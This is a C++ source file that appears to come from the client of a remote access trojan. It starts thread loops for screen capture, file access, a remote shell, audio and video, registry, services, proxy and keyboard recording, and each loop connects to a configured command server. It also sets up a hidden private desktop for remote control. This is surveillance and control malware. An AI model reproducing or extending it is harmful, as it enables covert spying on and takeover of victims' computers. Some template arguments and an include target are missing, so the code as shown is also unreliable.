#include "StdAfx.h" #include "Common.h" #include "ScreenManager.h" #include "FileManager.h" #include "TalkManager.h" #include "ShellManager.h" #include "SystemManager.h" #include "AudioManager.h" #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" #include "KeyboardManager.h" #include "ProxyManager.h" #include "KernelManager.h" #include DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); SetEvent(ThreadArgList.hEvent); DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); return dwReturn; } template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = (IOCPClient *)pInfo->p; CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n, pInfo->user); pInfo->user = &m; ClientObject->RunEventLoop(pInfo->run); pInfo->user = NULL; } delete ClientObject; pInfo->p = NULL; return 0; } #ifdef _WIN64 #ifdef _DEBUG #pragma comment(lib, "PrivateDesktop_Libx64d.lib") #else #pragma comment(lib, "PrivateDesktop_Libx64.lib") #endif void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac); #else void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) { return ClientObject->RunEventLoop(TRUE); } #endif DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) { IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc); if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { CScreenManager m(ClientObject, 32, (void*)1); if (IsWindows8orHigher()) { ShowBlackWindow(ClientObject, conn, hash, hmac); } else { ClientObject->RunEventLoop(TRUE); } } delete ClientObject; return 0; } DWORD WINAPI LoopScreenManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopFileManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopTalkManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopShellManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopProcessManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopWindowManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopVideoManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopAudioManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopRegisterManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopServicesManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { iniFile cfg(CLIENT_PATH); std::string s = cfg.GetStr("settings", "kbrecord", "No"); if (s == "Yes") { return LoopManager(lParam); } return LoopManager(lParam); } DWORD WINAPI LoopProxyManager(LPVOID lParam) { return LoopManager(lParam); }